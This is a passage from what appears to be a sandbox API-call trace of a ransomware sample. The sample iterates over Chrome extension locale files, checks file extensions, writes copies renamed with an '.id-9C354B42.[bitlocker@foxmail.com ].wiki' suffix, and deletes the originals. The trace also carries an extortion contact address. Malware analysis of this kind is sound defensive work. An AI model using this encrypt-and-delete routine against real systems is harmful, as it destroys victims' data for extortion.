Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json") returned 151 [0175.656] lstrlenW (lpString=".jpg") returned 4 [0175.656] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.656] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json") returned 151 [0175.656] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json") returned 151 [0175.656] lstrlenW (lpString=".doc") returned 4 [0175.656] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.656] lstrlenW (lpString=".docx") returned 5 [0175.656] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.656] lstrlenW (lpString=".pdf") returned 4 [0175.656] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.656] lstrlenW (lpString=".xls") returned 4 [0175.656] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.656] lstrlenW (lpString=".xlsx") returned 5 [0175.656] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.656] lstrlenW (lpString=".ppt") returned 4 [0175.656] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.656] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json") returned 151 [0175.657] lstrlenW (lpString=".zip") returned 4 [0175.657] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.657] lstrlenW (lpString=".rar") returned 4 [0175.657] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.657] lstrlenW (lpString=".bz2") returned 4 [0175.657] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.657] lstrlenW (lpString=".7z") returned 3 [0175.657] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.657] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json") returned 151 [0175.657] lstrlenW (lpString=".dbf") returned 4 [0175.657] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.657] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json") returned 151 [0175.657] lstrlenW (lpString=".1cd") returned 4 [0175.657] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.657] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json") returned 151 [0175.657] lstrlenW (lpString=".jpg") returned 4 [0175.657] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.657] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.657] lstrlenW (lpString="messages.json") returned 13 [0175.657] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.658] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=276) returned 1 [0175.658] CloseHandle (hObject=0x19c) returned 1 [0175.658] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json")) returned 0x2020 [0175.658] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.658] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.658] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.658] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.658] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.659] GetLastError () returned 0x0 [0175.659] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x114, lpOverlapped=0x0) returned 1 [0175.660] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x120, lpOverlapped=0x0) returned 1 [0175.661] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.661] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.661] SetEndOfFile (hFile=0x2dc) returned 1 [0175.661] CloseHandle (hObject=0x2dc) returned 1 [0175.661] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.661] SetEndOfFile (hFile=0x19c) returned 1 [0175.662] CloseHandle (hObject=0x19c) returned 1 [0175.662] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.662] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json")) returned 1 [0175.662] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json") returned 151 [0175.662] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json") returned 151 [0175.662] lstrlenW (lpString=".doc") returned 4 [0175.662] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.662] lstrlenW (lpString=".docx") returned 5 [0175.662] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.662] lstrlenW (lpString=".pdf") returned 4 [0175.662] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.662] lstrlenW (lpString=".xls") returned 4 [0175.662] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.662] lstrlenW (lpString=".xlsx") returned 5 [0175.662] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.663] lstrlenW (lpString=".ppt") returned 4 [0175.663] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.663] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json") returned 151 [0175.663] lstrlenW (lpString=".zip") returned 4 [0175.663] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.663] lstrlenW (lpString=".rar") returned 4 [0175.663] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.663] lstrlenW (lpString=".bz2") returned 4 [0175.663] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.663] lstrlenW (lpString=".7z") returned 3 [0175.663] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.663] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json") returned 151 [0175.663] lstrlenW (lpString=".dbf") returned 4 [0175.663] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.663] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json") returned 151 [0175.663] lstrlenW (lpString=".1cd") returned 4 [0175.663] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.663] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json") returned 151 [0175.663] lstrlenW (lpString=".jpg") returned 4 [0175.663] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.663] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json") returned 151 [0175.663] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json") returned 151 [0175.663] lstrlenW (lpString=".doc") returned 4 [0175.663] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.663] lstrlenW (lpString=".docx") returned 5 [0175.663] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.663] lstrlenW (lpString=".pdf") returned 4 [0175.663] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.663] lstrlenW (lpString=".xls") returned 4 [0175.663] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.664] lstrlenW (lpString=".xlsx") returned 5 [0175.664] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.664] lstrlenW (lpString=".ppt") returned 4 [0175.664] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.664] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json") returned 151 [0175.664] lstrlenW (lpString=".zip") returned 4 [0175.664] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.664] lstrlenW (lpString=".rar") returned 4 [0175.664] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.664] lstrlenW (lpString=".bz2") returned 4 [0175.664] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.664] lstrlenW (lpString=".7z") returned 3 [0175.664] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.664] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json") returned 151 [0175.664] lstrlenW (lpString=".dbf") returned 4 [0175.664] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.664] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json") returned 151 [0175.664] lstrlenW (lpString=".1cd") returned 4 [0175.664] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.664] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\messages.json") returned 151 [0175.664] lstrlenW (lpString=".jpg") returned 4 [0175.664] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.664] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.664] lstrlenW (lpString="messages.json") returned 13 [0175.664] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.665] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=331) returned 1 [0175.665] CloseHandle (hObject=0x19c) returned 1 [0175.665] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json")) returned 0x2020 [0175.665] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.665] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.665] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.665] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.665] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.666] GetLastError () returned 0x0 [0175.666] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x14b, lpOverlapped=0x0) returned 1 [0175.667] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x150, lpOverlapped=0x0) returned 1 [0175.668] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.668] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.668] SetEndOfFile (hFile=0x2dc) returned 1 [0175.668] CloseHandle (hObject=0x2dc) returned 1 [0175.668] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.668] SetEndOfFile (hFile=0x19c) returned 1 [0175.669] CloseHandle (hObject=0x19c) returned 1 [0175.669] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.669] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json")) returned 1 [0175.669] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json") returned 151 [0175.669] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json") returned 151 [0175.669] lstrlenW (lpString=".doc") returned 4 [0175.669] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.670] lstrlenW (lpString=".docx") returned 5 [0175.670] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.670] lstrlenW (lpString=".pdf") returned 4 [0175.670] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.670] lstrlenW (lpString=".xls") returned 4 [0175.670] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.670] lstrlenW (lpString=".xlsx") returned 5 [0175.670] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.670] lstrlenW (lpString=".ppt") returned 4 [0175.670] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.670] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json") returned 151 [0175.670] lstrlenW (lpString=".zip") returned 4 [0175.670] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.670] lstrlenW (lpString=".rar") returned 4 [0175.670] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.670] lstrlenW (lpString=".bz2") returned 4 [0175.670] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.670] lstrlenW (lpString=".7z") returned 3 [0175.670] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.670] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json") returned 151 [0175.670] lstrlenW (lpString=".dbf") returned 4 [0175.670] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.670] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json") returned 151 [0175.670] lstrlenW (lpString=".1cd") returned 4 [0175.670] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.670] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json") returned 151 [0175.670] lstrlenW (lpString=".jpg") returned 4 [0175.670] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.670] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json") returned 151 [0175.670] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json") returned 151 [0175.670] lstrlenW (lpString=".doc") returned 4 [0175.671] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.671] lstrlenW (lpString=".docx") returned 5 [0175.671] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.671] lstrlenW (lpString=".pdf") returned 4 [0175.671] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.671] lstrlenW (lpString=".xls") returned 4 [0175.671] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.671] lstrlenW (lpString=".xlsx") returned 5 [0175.671] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.671] lstrlenW (lpString=".ppt") returned 4 [0175.671] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.671] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json") returned 151 [0175.671] lstrlenW (lpString=".zip") returned 4 [0175.671] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.671] lstrlenW (lpString=".rar") returned 4 [0175.671] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.671] lstrlenW (lpString=".bz2") returned 4 [0175.671] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.671] lstrlenW (lpString=".7z") returned 3 [0175.671] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.671] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json") returned 151 [0175.671] lstrlenW (lpString=".dbf") returned 4 [0175.671] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.671] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json") returned 151 [0175.671] lstrlenW (lpString=".1cd") returned 4 [0175.671] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.671] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\messages.json") returned 151 [0175.671] lstrlenW (lpString=".jpg") returned 4 [0175.671] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.672] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.672] lstrlenW (lpString="messages.json") returned 13 [0175.672] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json"), 